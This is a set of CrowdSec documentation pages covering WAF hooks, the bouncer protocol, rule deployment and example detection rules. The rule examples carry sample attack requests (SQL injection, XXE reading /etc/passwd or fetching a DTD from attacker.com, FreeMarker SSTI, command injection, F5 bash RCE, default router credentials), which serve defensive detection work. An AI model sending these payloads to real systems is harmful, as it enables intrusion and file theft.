- `DumpRequest().WithHeadersNameFilter(regexp string)`: Add a filter on the name of the headers, ie. dump only the headers that _do not_ match the provided regular expression
- `DumpRequest().WithNoHeaders()`: Do not dump the request headers
- `DumpRequest().WithHeaders()`: Dump all the request headers (override any previous filter)
- `DumpRequest().WithBody()`: Dump the request body
- `DumpRequest().WithNoBody()`: Do not dump the request body
- `DumpRequest().WithEmptyArgsFilters()`: Clear the query parameters filters, ie. dump all the query parameters
- `DumpRequest().WithArgsContentFilter(regexp string)`: Add a filter on the content of the query parameters, ie. dump only the query parameters that _do not_ match the provided regular expression
- `DumpRequest().WithArgsNameFilter(regexp string)`: Add a filter on the name of the query parameters, ie. dump only the query parameters that _do not_ match the provided regular expression

By default, everything is dumped.
All regexps are case-insensitive.

You can chain the options, for example:

```
DumpRequest().WithNoBody().WithArgsNameFilter("var1").WithArgsNameFilter("var2").ToJSON()
```

This will discard the body of the request, remove the query parameters `var1` and `var2` from the dump, and dump everything else.

#### Example

```yaml
name: crowdsecurity/my-appsec-config
default_remediation: ban
inband:
  rules:
    - crowdsecurity/base-config
    - crowdsecurity/vpatch-*
  post_eval:
    - apply:
        - DumpRequest().NoFilters().WithBody().ToJSON()
```

### `on_match`

This hook is intended to be used to change the behavior of the engine after a match (eg, to change the remediation that will be used dynamically).

#### Available helpers

| Helper Name      | Type                       | Description                                                                                                   |
| ---------------- | -------------------------- | ------------------------------------------------------------------------------------------------------------- |
| `SetRemediation` | `func(remediation string)` | Change the remediation that will be returned to the remediation component                                     |
| `SetReturnCode`  | `func(code int)`           | Change the HTTP code that will be returned to the remediation component                                       |
| `CancelAlert`    | `func()`                   | Prevent the Application Security Component from creating a CrowdSec alert                                         |
| `SendAlert`      | `func()`                   | Force the Application Security Component to create a crowdsec alert                                           |
| `CancelEvent`    | `func()`                   | Prevent the Application Security Component to create a crowdsec event                                         |
| `SendEvent`      | `func()`                   | Force the Application Security Component to create a crowdsec event                                           |
| `DumpRequest`    | `func()`                   | Dump the request to a file (see previous section for detailed usage)                                          |
| `IsInBand`       | `bool`                     | `true` if the request is in the in-band processing phase                                                      |
| `IsOutBand`      | `bool`                     | `true` if the request is in the out-of-band processing phase                                                  |
| `evt`            | `types.Event`              | [The event that has been generated](/docs/expr/event.md#appsec-helpers) by the Application Security Component |
| `req`            | `http.Request`             | Original HTTP request received by the remediation component                                                   |
| `MatchKnownBot` | `func(ip str, ua str, path str, ...files str) bool` | `true` if the request matches a bot definition in one of the named `files`. See [Known bots](bot_detection/hooks.md#known-bots).                  |
| `ExemptFromChallenge` | `func(reason str)`    | Exempt the current request from the challenge without minting a cookie (this request only). `reason` labels the exemption in logs and metrics. See [Known bots](bot_detection/hooks.md#known-bots). |
| `HasValidChallengeCookie` | `func() bool`     | `true` if the request has already cleared the challenge: it presented a valid `__crowdsec_challenge` cookie, or an earlier hook exempted it. A cookie minted during this very request does not count. See [`HasValidChallengeCookie`](bot_detection/hooks.md#hasvalidchallengecookie). |
| `hook_vars`     | `map[string]string`        | Per-request scratch space shared with the other hooks and propagated to the resulting event                                                                   |
| Score helpers | | `AddRequestScore`, `RequestScore`, `RequestScoreReasons`, `RequestScoreDetail`, `RequestScoreFor` accumulate a per-request score you can act on later. See [Request scoring](bot_detection/hooks.md#request-scoring). |

#### Example

```yaml
name: crowdsecurity/my-appsec-config
default_remediation: ban
inband:
  rules:
    - crowdsecurity/base-config
    - crowdsecurity/vpatch-*
  on_match:
    - filter: req.RemoteAddr == "192.168.1.1"
      apply:
        - CancelAlert()
        - CancelEvent()
    - filter: |
        any(evt.Appsec.MatchedRules, #.name == "crowdsecurity/vpatch-env-access") and
        req.RemoteAddr == "192.168.1.1"
      apply:
        - SetRemediation("allow")
    - filter: evt.Appsec.MatchedRules.GetURI() contains "/foobar/"
      apply:
        - SetRemediation("allow")
```

### `on_challenge`

Called for in-band requests carrying a valid `__crowdsec_challenge` cookie, with the decoded `fingerprint` object available — the right place to apply per-request decisions based on what the challenge learned about the client. **In-band only.**

See [Bot detection → Hooks reference → `on_challenge`](bot_detection/hooks.md#on_challenge) for the available helpers, the `fingerprint` object, and examples.

### `on_challenge_submit`

Called when a client POSTs a challenge response to `/crowdsec-internal/challenge/submit`, after crypto validation and fingerprint decryption but before the success cookie is issued — the right place to refuse cookies to clients identified as automation. **In-band only.**

See [Bot detection → Hooks reference → `on_challenge_submit`](bot_detection/hooks.md#on_challenge_submit) for the available helpers and examples.

### Legacy flat hooks

Hooks can also be declared at the top level, outside any phase block. Those run in **both** passes, so they need `IsInBand` / `IsOutBand` to tell the passes apart:

```yaml
on_match:
  - filter: IsInBand && req.RemoteAddr == "192.168.1.1"
    apply:
      - CancelAlert()
```

Both forms are supported and can be mixed: for a given phase, top-level hooks run first, then those of the matching block. Prefer the phase-scoped form for new configurations.

## Detailed Helpers Information

### `SetRemediation*`

When using `SetRemediation*` helpers, the only special value is `allow`: the remediation component won't block the request.
Any other values (including `ban` and `captcha`) are transmitted as-is to the remediation component.

### Request body size handling

Before the request body is handed over to the rules engine, the Application Security Component reads it into memory itself. To protect the engine from oversized requests, the body is bounded by a maximum size (defaults to **10MB**).

This limit is independent from the Coraza-level [`request_body_in_memory_limit`](configuration.md#inband_options) option: it controls how much of the body CrowdSec buffers in the first place, before any rule is evaluated.

You can tune this behavior from an `on_load` hook:

- `SetMaxBodySize(size)` sets the maximum body size, in bytes. The value must be a positive integer.
- `SetBodySizeExceededAction(action)` controls what happens when a body exceeds the maximum size:

  | Action           | Behavior                                                                                                                                                   |
  | ---------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------- |
  | `drop` (default) | The request is blocked using the default remediation, without inspecting the body.                                                                         |
  | `partial`        | The body is truncated to the maximum size and the kept portion is inspected. Content beyond the truncation point is discarded and will not match any rule. |
  | `allow`          | The body is not inspected and the request is allowed to proceed (other zones are still evaluated).                                                         |

```yaml
name: crowdsecurity/my-appsec-config
default_remediation: ban
inband_rules:
  - crowdsecurity/base-config
on_load:
  - apply:
      - SetMaxBodySize(20971520) # 20MB
      - SetBodySizeExceededAction("partial")
```

#### `DisableBodyInspection`

`DisableBodyInspection()` can be called from a `pre_eval` hook to skip body inspection for the current request only. When body inspection is disabled:

- the request body is not read or processed, so body-based zones (`BODY_ARGS`, `RAW_BODY`, …) won't match;
- the maximum body size check is bypassed as well: a request that would otherwise be dropped for exceeding the limit is allowed through, because the operator has explicitly accepted that this body won't be processed.

```yaml
pre_eval:
  - filter: req.URL.Path startsWith "/upload"
    apply:
      - DisableBodyInspection()
```

### `req` object

The `pre_eval`, `on_match` and `post_eval` hooks have access to a `req` variable that represents the HTTP request that was forwarded to the appsec.

It's a Go [http.Request](https://pkg.go.dev/net/http#Request) object, so you can directly access all the details about the request.

For example:

- To get the requested URI: `req.URL.Path`
- To get the client IP: `req.RemoteAddr`
- To get the HTTP method: `req.Method`
- To get the FQDN: `req.Host`

---

## File: crowdsec-docs/docs/appsec/intro.md

---
id: intro
title: AppSec Component - CrowdSec WAF
sidebar_position: 1
---

## What is CrowdSec?

If you're new to CrowdSec, here's a quick overview:

**CrowdSec** is an open-source, collaborative security solution that:
- Detects and blocks malicious actors threatening your infrastructure and applications
- Provides real-time threat intelligence through a participative community
- Offers both **Infrastructure Protection** (IP reputation, DDoS mitigation) and **Application Security** (WAF capabilities)

:::tip New to CrowdSec?
For a more detailed introduction, check out our [Getting Started Guide](/u/getting_started/intro).
:::

## Introduction

Meet the CrowdSec **Application Security Component** (AppSec Component), which turns your CrowdSec install into a full-fledged **WAF**.

The **AppSec Component** offers:

-   Low-effort **virtual patching**.
-   Support for legacy **ModSecurity** rules.
-   Classic WAF protection plus CrowdSec features for **advanced behavior detection**.
-   **Bot detection** to filter automated traffic with a browser challenge.
-   **Full integration** with the CrowdSec stack, including the console and remediation components.



The component uses existing remediation hooks in web servers and reverse proxies (Nginx, Traefik, HAProxy, etc.) to provide web application firewall capabilities.



### How it works

1. The web server receives the HTTP request.
2. The request is forwarded to the CrowdSec Security Engine over a local HTTP interface.
3. The engine evaluates the request against AppSec rules (in-band rules can block immediately).
4. Based on the result, the web server either blocks the request or processes it as usual.

### One WAF, many web servers

The AppSec Component lives in the **CrowdSec Security Engine**, so you get a single “source of truth” for:
- AppSec configurations and rules (collections from the Hub)
- logging, alerting, and Console visibility

This makes it easy to protect **multiple web servers / reverse proxies** with one CrowdSec instance: each remediation component forwards requests to the same AppSec `listen_addr`.

Compared to WAFs embedded directly inside each web server, you don’t have to duplicate rule and configuration updates across multiple locations: update the rules once in CrowdSec, and every connected remediation component benefits.

:::tip Common gotchas
- Installing rules is not enough: you must also enable the AppSec acquisition datasource and restart CrowdSec.
- The remediation component must support AppSec forwarding, and must be configured to forward to the same `listen_addr` you set in the acquisition file.
- In-band rules return an action for the current request (for example `ban`/`captcha`); longer-term bans are driven by scenarios and decisions.
:::

## Supported Web Servers & Reverse Proxies

The AppSec Component works seamlessly with modern web servers and reverse proxies:





**Nginx**
[Quick Start Guide →](quickstart/nginxopenresty.mdx)




**OpenResty**
[Quick Start Guide →](quickstart/nginxopenresty.mdx)




**Traefik**
[Quick Start Guide →](quickstart/traefik.mdx)



**Envoy Gateway**
[Quick Start Guide →](quickstart/envoy-gateway.mdx)




**HAProxy**
[Quick Start Guide →](quickstart/haproxy_spoa.mdx)




**WordPress**
[Quick Start Guide →](quickstart/wordpress.mdx)




**Looking for other integrations?** Check out the [full list of remediation components](https://hub.crowdsec.net/browse/#remediation-components) on the CrowdSec Hub. We're constantly adding new integrations!

## Inband Rules and Out-Of-Band Rules

The AppSec component relies on rules to inspect HTTP requests:

-   Inband rules are meant to interrupt request processing
-   Out-Of-Band rules are non-blocking and are evaluated asynchronously

### In-band rule processing

The security engine first evaluates the inband rules, designed to identify and block specific requests.  
Once these rules are evaluated, a response is relayed to the remediation component.

This leads to two possible outcomes:

1. If an in-band rule is triggered, the remediation component returns a 403 or a captcha challenge to the requester, stopping processing.
2. Otherwise, the request will be normally processed

### Out-of-band rule processing

In the background, the security engine will then evaluate the out-of-band rules. These rules do not impact performance or response time, as they are evaluated after the AppSec Component instructs the webserver to continue or stop processing the request.

They are usually meant to detect repetitive unwanted behavior (for example, application spam, resource enumeration, scalping). When these rules trigger, they emit an event that the Security Engine processes like a log line.

## Post processing

When a request triggers one or more rules, either in the inband section (blocking) or out-of-band (non-blocking), several things happen:

-   Inband (blocking) rules will appear in your `cscli alerts list` (and thus in your [console dashboard](https://app.crowdsec.net)).
-   Inband and Out-Of-Band rules will trigger an internal crowdsec event that can be treated as any log lines.

This lets scenarios leverage WAF rule events, such as extending a ban for an IP that triggers multiple virtual patching rules.

## Next steps

You can follow our quick start guides depending on your web server:

-   [Nginx/OpenResty](quickstart/nginxopenresty.mdx)
-   [Envoy Gateway](quickstart/envoy-gateway.mdx)
-   [Traefik](quickstart/traefik.mdx)
-   [HAProxy (SPOA)](quickstart/haproxy_spoa.mdx)
-   [WordPress](quickstart/wordpress.mdx)
-   [CrowdSec WAF with Nginx Reverse Proxy](/u/user_guides/waf_rp_howto)

Or consider learning more about the AppSec capabilities:

-   **Rules**: [How to read, write and debug rules](rules_syntax.md)
-   **Scenarios**: [How to create scenarios that leverage the AppSec Component events](alerts_and_scenarios.md)
-   **Bot detection**: [Filter automated traffic with a browser challenge](bot_detection/intro.md)
-   **Hooks**: [To customise behavior of the AppSec at runtime](hooks.md)
-   **Troubleshoot**: [How to troubleshoot the behavior of the AppSec Component](troubleshooting.md)
-   **AppSec Technical Details**: [For developers integrating with the AppSec Component](protocol.md)

---

## File: crowdsec-docs/docs/appsec/protocol.md

---
id: protocol
title: WAF / Bouncer Communication Protocol
sidebar_position: 5
---

:::warning

This section is only relevant if you want to add support for the CrowdSec application security component in your own remediation component or directly at the application level.

:::

## Introduction

To interact with the CrowdSec application security component, a protocol must be followed.

The application security component expects some headers to be present in the HTTP request (in addition to the original HTTP headers and body) and according to the result, the application security component will respond differently.

This documentation can be useful in case you want to write your own remediation component that interacts with the CrowdSec application security component, or if you want to improve your existing one.

## HTTP Headers

To work with the CrowdSec application security component, some HTTP headers are required, in addition to the other HTTP headers and the body of the original request.

| Header Name                      | Description                                                                           |
| -------------------------------- | ------------------------------------------------------------------------------------- |
| `X-Crowdsec-Appsec-Ip`           | The Real IP address of the original HTTP request                                      |
| `X-Crowdsec-Appsec-Uri`          | The URI of the original HTTP request                                                  |
| `X-Crowdsec-Appsec-Host`         | The Host of the original HTTP request                                                 |
| `X-Crowdsec-Appsec-Verb`         | The Method of the original HTTP request                                               |
| `X-Crowdsec-Appsec-Api-Key`      | The API Key to communicate with the CrowdSec application security component           |
| `X-Crowdsec-Appsec-User-Agent`   | The User-Agent of the original HTTP request                                           |
| `X-Crowdsec-Appsec-Http-Version` | The HTTP version used by the original HTTP request (in integer form `10`, `11`, ...) |

:::note

All requests forwarded by the remediation component must be sent via a `GET` request. However, if the HTTP request contains a body, a `POST` request must be sent to the Application Security Component.

:::

### Example

For this example:

- A `POST` HTTP request has been made by the IP `192.168.1.1` to a website on `example.com`.
- The Application Security Component listens on `http://localhost:4241/`.


Original HTTP Request

```
POST /login HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 73
Connection: keep-alive
Upgrade-Insecure-Requests: 1

username=admin' OR '1'='1' -- &password=password

```




HTTP Request sent to the application security component

```
POST / HTTP/1.1
Host: localhost:4241
X-Crowdsec-Appsec-ip: 192.168.1.1
X-Crowdsec-Appsec-Uri: /login
X-Crowdsec-Appsec-Host: example.com
X-Crowdsec-Appsec-Verb: POST
X-Crowdsec-Appsec-Api-Key: <API_KEY>
X-Crowdsec-Appsec-User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
User-Agent: lua-resty-http/0.17.1 (Lua) ngx_lua/10026
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 73
Connection: keep-alive
Upgrade-Insecure-Requests: 1

username=admin' OR '1'='1' -- &password=password

```



## Response Code

According to the result of the processing of the HTTP request, the application security component will respond with a different HTTP code and body.

| HTTP Code | Description                                                                                                                                             | Body                                                                                     |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------- |
| `200`     | The HTTP request is allowed                                                                                                                             | `{"action" : "allow"}`                                                                   |
| `403`     | The HTTP request triggered one or more application security component rules                                                                             | `{"action" : "ban", "http_status": 403}`, `{"action" : "captcha", "http_status": 403}` or `{"action" : "challenge", ...}` |
| `500`     | An error occurred in the application security component. The remediation component must support a `APPSEC_FAILURE_ACTION` parameter to handle this case | `null`                                                                                   |
| `401`     | The remediation component is not authenticated. It must use the same API Key that was generated to pull the local API request                           | `null`                                                                                   |

In case of a `403` response, the body will contain the action to take and the HTTP status code to return to the client.

## Bot detection

When [bot detection](bot_detection/intro.md) is enabled, the application security component can also answer a `403` with `{"action": "challenge"}`. Unlike `ban` and `captcha`, that envelope carries a complete response — body, headers and cookies — that the remediation component relays to the browser, and the exchange continues over a set of internal URLs the component must forward.

See the [challenge protocol](bot_detection/challenge_protocol.md) for the full contract.

---

## File: crowdsec-docs/docs/appsec/request-lifecycle.md

---
id: request_lifecycle
title: "WAF Request Lifecycle"
sidebar_label: "Request Lifecycle"
sidebar_position: 5
---

# **CrowdSec AppSec Request Lifecycle & Detection Pipeline**

The CrowdSec AppSec architecture relies on several steps, involving **stateless inspection** (immediate pattern matching) and **stateful analysis** (long-term behavioral tracking). 

This document outlines the journey of an HTTP request through the engine's hooks, rulesets, and scenario-based alerting.




## **Phase I: In-Band Processing (Synchronous)**

The In-Band phase is synchronous. The Remediation Component (e.g., Nginx, Traefik, or Ingress) pauses the request to wait for a verdict from the AppSec engine.

* **pre\_eval Hook:** The initial entry point. This hook executes logic before any rules are run. It is commonly used to whitelist trusted IPs or to disable specific rules for certain URIs to mitigate false positives.  
* **In-Band Rules:** The engine evaluates the request against rules defined in inband\_rules. These are typically high-confidence signatures used for "Virtual Patching" against known exploits (e.g., Log4Shell, SQL Injection).  
* **on\_match Hook:** Triggered only if a rule matches. It allows for logic overrides, such as logging the attempt without blocking, or setting specific remediation types.  
* **post\_eval Hook:** Executes regardless of the outcome. It is primarily used for technical logging or dumping request metadata for debugging via DumpRequest().  
* **Immediate Remediation:** If a match is confirmed, the engine returns a blocking status (e.g., 403 Forbidden or Captcha) and an **Immediate Alert** is sent to the Local API (LAPI).

## **Phase II: Out-of-Band Processing (Asynchronous)**

Once the In-Band phase completes, the request is passed to the backend application. Simultaneously, a copy of the request context is processed asynchronously to avoid adding latency to the user experience.

* **Out-of-Band (OOB) Rules:** These rulesets, such as the full **OWASP Core Rule Set (CRS)**, inspect the request for broader or lower-confidence indicators of malicious intent.  
* **Internal Event Generation:** Unlike the In-Band phase, an OOB match does not result in an immediate block. Instead, it generates an **Internal Event** (type appsec-info) containing enriched metadata about the suspicious activity.

## **Phase III: Scenario Evaluation (Behavioral Analysis)**

The internal events generated in Phase I and II flow into the standard CrowdSec Parser and Scenario pipeline. This stage transforms individual "signals" into actionable security "intelligence."

* **The Leaky Bucket Logic:** Scenarios employ a "leaky bucket" algorithm to aggregate events. While a single OOB rule match might be a false positive, a Scenario can be configured to trigger only if an IP exceeds a specific threshold (e.g., **X matches within Y seconds**).  
* **Behavioral Detection:** Scenarios allow the system to identify complex threats that stateless rules cannot see in isolation, such as:  
  * **Distributed Scans:** An IP probing multiple endpoints with varied payloads.  
  * **Aggressive Crawling:** Automated bots triggering several low-severity WAF rules across a session.  
* **Final Alert & Decision:** When a Scenario’s threshold is met, it creates a **Final Alert** in the LAPI. This generates a **Decision** (e.g., a 4-hour IP ban) which is synchronized back to all Remediation Components, blocking the attacker at the network edge for all subsequent requests.

**Summary of Component Roles**

| Component | Nature | Goal | Execution |
| :---- | :---- | :---- | :---- |
| **In-Band Rules** | Stateless | Immediate protection (Virtual Patching) | Blocking |
| **Out-of-Band Rules** | Stateless | Deep inspection without user latency | Non-blocking |
| **Scenarios** | Stateful | Identifies intent and patterns (Behavioral) | Post-processing |

---

## File: crowdsec-docs/docs/appsec/rules_deploy.md

---
id: rules_deploy
title: "WAF Rules Deployment"
sidebar_label: "Deployment"
sidebar_position: 81
---

# WAF Rules Deployment

This walkthrough assumes you already wrote and validated a custom AppSec (WAF) rule. We will deploy a concrete example so you can mirror the exact commands on your host.

## Example Rule We Will Deploy

The example blocks any `GET` request whose `user_id` query argument contains non-numeric characters. While you iterate locally, keep it in a working directory as `./block-nonnumeric-user-id.yaml`:

```yaml title="./block-nonnumeric-user-id.yaml"
name: custom/block-nonnumeric-user-id
description: Block GET requests with a non-numeric user_id parameter.
rules:
  - and:
      - zones:
          - METHOD
        match:
          type: equals
          value: GET
      - zones:
          - ARGS
        variables:
          - user_id
        match:
          type: regex
          value: "[^0-9]"
labels:
  type: exploit
  service: http
  confidence: 2
  spoofable: 0
  behavior: "http:exploit"
  label: "Non numeric user id"
```

Once the rule behaves as expected, the remaining steps package it for CrowdSec, wire it into the acquisition pipeline, and test it end to end.

## Step 1 - Stage the Rule File

CrowdSec loads AppSec rules from `/etc/crowdsec/appsec-rules/`. Copy your YAML rule into that directory (create a `custom/` subfolder to keep things tidy if you manage several rules):

```bash
sudo install -d -m 750 /etc/crowdsec/appsec-rules/custom
sudo install -m 640 ./block-nonnumeric-user-id.yaml \
  /etc/crowdsec/appsec-rules/custom/block-nonnumeric-user-id.yaml
```

Make sure the `name` inside the rule file matches the file name convention you plan to reference (in our example `custom/block-nonnumeric-user-id`).

:::tip
If you run CrowdSec in a container, copy the file into the volume that is mounted at `/etc/crowdsec/appsec-rules/` inside the container.
:::

## Step 2 - Create an AppSec Configuration

An AppSec configuration lists which rules to load and how to handle matches. Create a new file under `/etc/crowdsec/appsec-configs/` that targets your custom rule:

```yaml title="/etc/crowdsec/appsec-configs/custom-block-nonnumeric-user-id.yaml"
name: custom/block-nonnumeric-user-id
default_remediation: ban
inband_rules:
  - custom/block-nonnumeric-user-id
# Add outofband_rules or hooks here if needed
```

Key points:
- `name` is how you will reference this configuration from the acquisition file and in logs.
- `inband_rules` (and/or `outofband_rules`) accept glob patterns, so you can load multiple rules with a single entry such as `custom/block-*`.
- During the reload step CrowdSec validates the syntax; if anything is off, the reload fails and the service logs the parsing error.

## Step 3 - Reference the Configuration in the Acquisition File

The AppSec acquisition file (`/etc/crowdsec/acquis.d/appsec.yaml`) controls which configurations are active for the WAF component. Add your configuration to the `appsec_configs` list. Order matters: later entries override conflicting defaults such as `default_remediation`.

```yaml title="/etc/crowdsec/acquis.d/appsec.yaml"
appsec_configs:
  - crowdsecurity/appsec-default
  - custom/block-nonnumeric-user-id
labels:
  type: appsec
listen_addr: 127.0.0.1:7422
source: appsec
```

If you only want to run your custom configuration, remove other entries and keep the list with a single item.

## Step 4 - Reload CrowdSec and Validate the Load

Apply the changes by reloading the CrowdSec service:

```bash
sudo systemctl reload crowdsec
```

If your init system does not support reload, perform a restart instead. Then verify the rule and configuration are active:

```bash
sudo cscli appsec-rules list | grep block-nonnumeric-user-id
sudo cscli appsec-configs list | grep block-nonnumeric-user-id
```

The rule should appear as `enabled`, and the configuration should show up in the list. CrowdSec logs confirm the configuration was loaded without errors.

## Step 5 - Functional Test with `curl`

Trigger the behaviour your rule is meant to catch to ensure it blocks as expected. For the example rule, send a request with a non-numeric `user_id` value:

```bash
curl -i 'http://127.0.0.1/profile?user_id=abc123'
```

A successful block returns an HTTP status such as `403 Forbidden`, and CrowdSec logs a matching alert:

```bash
sudo cscli alerts list -s custom/block-nonnumeric-user-id
```

If the request is not blocked, double-check that the rule `name` matches the pattern in your AppSec configuration, that the acquisition file lists your configuration, and that the CrowdSec service picked up the changes.

## Next Steps

- Add automated regression tests with `cscli hubtest` so future updates do not break the rule.
- Version-control your custom rule and configuration files to keep track of changes.

---

## File: crowdsec-docs/docs/appsec/rules_examples.md

---
id: rules_examples
title: "WAF Rules Examples"
toc_max_heading_level: 4
sidebar_label: "Examples"
sidebar_position: 81
---

# WAF Rules Examples

This page showcases various WAF rule capabilities with real-world examples from the CrowdSec Hub. Each example includes the rule definition, a matching HTTP request from the test suite, and explanations of the key features demonstrated.

## 1. Header Analysis - Missing User Agent Detection

### Description

Header inspection with count transform. Note that an empty `User-Agent` header and a missing one are treated the same.

### Rule Example

```yaml
rules:
  - and:
      - zones:
          - METHOD
        match:
          type: regex
          value: "^GET|POST|PUT|DELETE|PATCH$"
      - zones:
          - HEADERS
        variables:
          - "User-Agent"
        transform:
          - count
        match:
          type: equals
          value: "0"
```

### HTTP Request Example

```http
GET / HTTP/1.1
Host: example.com
User-Agent:
```

### Key Features Demonstrated

- **Header inspection** using HEADERS zone
- **Transform operations** with count() to check header existence
- **HTTP method filtering** with regex patterns
- **AND logic** combining multiple conditions

## 2. Request Body Analysis - JSON Path Extraction

### Description

JSON path extraction with dot notation.

### Rule Example

```yaml
rules:
  - and:
      - zones:
          - METHOD
        transform:
          - uppercase
        match:
          type: equals
          value: POST
      - zones:
          - URI
        transform:
          - lowercase
        match:
          type: contains
          value: /rest/v1/guest-carts/1/estimate-shipping-methods
      - zones:
          - BODY_ARGS
        variables:
          - json.address.totalsCollector.collectorList.totalCollector.sourceData.data
        transform:
          - lowercase
        match:
          type: contains
          value: "<!entity"
```

### HTTP Request Example

```http
POST /rest/v1/guest-carts/1/estimate-shipping-methods HTTP/1.1
Host: example.com
Content-Type: application/json

{
  "address": {
    "totalsCollector": {
      "collectorList": {
        "totalCollector": {
          "sourceData": {
            "data": "<!ENTITY xxe SYSTEM \"file:///etc/passwd\">",
            "dataIsURL": "true"
          }
        }
      }
    }
  }
}
```

### Key Features Demonstrated

- **Deep JSON path navigation** using dot notation
- **Request body parsing** with BODY_ARGS zone
- **Multiple transform operations** (uppercase, lowercase)
- **Complex AND conditions** across different zones

## 3. Query Parameter Inspection - SSTI Detection

### Description

Multi-zone pattern matching (ARGS and RAW_BODY).

### Rule Example

```yaml
rules:
  - and:
      - zones:
          - RAW_BODY
          - ARGS
        transform:
          - lowercase
        match:
          type: contains
          value: "freemarker.template.utility.execute"
```

### HTTP Request Example

```http
GET /catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%68%6f%73%74%73%22%29%7d HTTP/1.1
Host: example.com
```

### Key Features Demonstrated

- **URL parameter parsing** with ARGS zone
- **Multiple zone matching** (RAW_BODY and ARGS)
- **String transformation** with lowercase normalization
- **Pattern-based detection** using contains match

## 4. File Upload Detection - WordPress PHP Execution

### Description

URI regex matching with multiple transforms.

### Rule Example

```yaml
rules:
  - and:
      - zones:
          - URI
        transform:
          - lowercase
          - urldecode
        match:
          type: regex
          value: '/wp-content/uploads/.*\.(h?ph(p|tm?l?|ar)|module|shtml)'
```

### HTTP Request Example

```http
GET /wp-content/uploads/2024/10/test.php?exec=id HTTP/1.1
Host: example.com
```

### Key Features Demonstrated

- **URI path analysis** with regex pattern matching
- **Multiple transforms** (lowercase and URL decoding)
- **Complex regex patterns** for file extension detection
- **WordPress-specific protection** against upload directory exploitation

## 5. HTTP Protocol Analysis - Form Data Validation

### Description

Form data analysis with variable targeting.

### Rule Example

```yaml
rules:
  - and:
      - zones:
          - METHOD
        transform:
          - lowercase
        match:
          type: equals
          value: post
      - zones:
          - URI
        transform:
          - lowercase
        match:
          type: endsWith
          value: /boaform/admin/formlogin
      - zones:
          - BODY_ARGS
        variables:
          - username
        transform:
          - lowercase
        match:
          type: equals
          value: "admin"
      - zones:
          - BODY_ARGS
        variables:
          - psd
        transform:
          - lowercase
        match:
          type: equals
          value: "parks"
```

### HTTP Request Example

```http
POST /boaform/admin/formLogin HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

username=admin&psd=parks
```

### Key Features Demonstrated

- **Form data analysis** with BODY_ARGS and specific variable targeting
- **HTTP method validation** with case-insensitive matching
- **URI endpoint matching** using endsWith comparison
- **Credential pattern detection** for default login attempts

## 6. Header Names Analysis

### Description

Header name inspection (HEADERS_NAMES zone).

### Rule Example

```yaml
rules:
  - and:
      - zones:
          - URI
        transform:
          - lowercase
        match:
          type: contains
          value: /mgmt/tm/util/bash
      - zones:
          - HEADERS_NAMES
        transform:
          - lowercase
        match:
          type: contains
          value: x-f5-auth-token
      - zones:
          - HEADERS_NAMES
        transform:
          - lowercase
        match:
          type: contains
          value: authorization
```

### HTTP Request Example

```http
POST /mgmt/tm/util/bash HTTP/1.1
Host: example.com
Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: a
Authorization: Basic YWRtaW46
Content-Type: application/json

{
     "command": "run",
     "utilCmdArgs": "-c 'id'"
}
```

### Key Features Demonstrated

- **Header name inspection** using HEADERS_NAMES zone
- **Multiple header validation** combining different authentication headers
- **Case-insensitive header matching** with lowercase transform
- **API endpoint protection** for management interfaces

## 7. Simple URI Pattern Matching - Environment File Access

### Description

Simple URI pattern matching with endsWith.

### Rule Example

```yaml
rules:
  - zones:
      - URI
    transform:
      - lowercase
    match:
      type: endsWith
      value: .env
```

### HTTP Request Example

```http
GET /foo/bar/.env HTTP/1.1
Host: example.com
```

### Key Features Demonstrated

- **Simple URI matching** without complex AND conditions
- **File extension detection** using endsWith matcher
- **Case normalization** with lowercase transform
- **Environment file protection** for configuration security

## 8. Regular Expression Validation - Command Injection Detection

### Description

Regex pattern matching for input validation.

### Rule Example

```yaml
rules:
  - and:
      - zones:
          - METHOD
        match:
          type: equals
          value: POST
      - zones:
          - URI
        transform:
          - lowercase
        match:
          type: endsWith
          value: /boaform/admin/formping
      - zones:
          - BODY_ARGS
        variables:
          - target_addr
        transform:
          - lowercase
        match:
          type: regex
          value: "[^a-f0-9:.]+"
```

### HTTP Request Example

```http
POST /boaform/admin/formPing HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

target_addr=1.2.3.4;cat /etc/passwd
```

### Key Features Demonstrated

- **Regex pattern matching** for command injection detection
- **Character class validation** to identify suspicious input
- **Form parameter filtering** on specific variables
- **Command injection prevention** through pattern recognition

## 9. Complex JSON Processing - Multi-condition XXE

### Description

Multi-property JSON validation.

### Rule Example

```yaml
rules:
  - and:
      - zones:
          - METHOD
        transform:
          - lowercase
        match:
          type: equals
          value: post
      - zones:
          - URI
        transform:
          - lowercase
        match:
          type: contains
          value: /rest/v1/guest-carts/1/estimate-shipping-methods
      - zones:
          - BODY_ARGS
        variables:
          - json.address.totalsCollector.collectorList.totalCollector.sourceData.data
        transform:
          - lowercase
        match:
          type: contains
          value: "://"
      - zones:
          - BODY_ARGS
        variables:
          - json.address.totalsCollector.collectorList.totalCollector.sourceData.dataIsURL
        transform:
          - lowercase
        match:
          type: equals
          value: "true"
```

### HTTP Request Example

```http
POST /rest/v1/guest-carts/1/estimate-shipping-methods HTTP/1.1
Host: example.com
Content-Type: application/json

{
  "address": {
    "totalsCollector": {
      "collectorList": {
        "totalCollector": {
          "sourceData": {
            "data": "http://attacker.com/malicious.dtd",
            "dataIsURL": "true"
          }
        }
      }
    }
  }
}
```

### Key Features Demonstrated

- **Multi-property JSON validation** checking both data content and flags
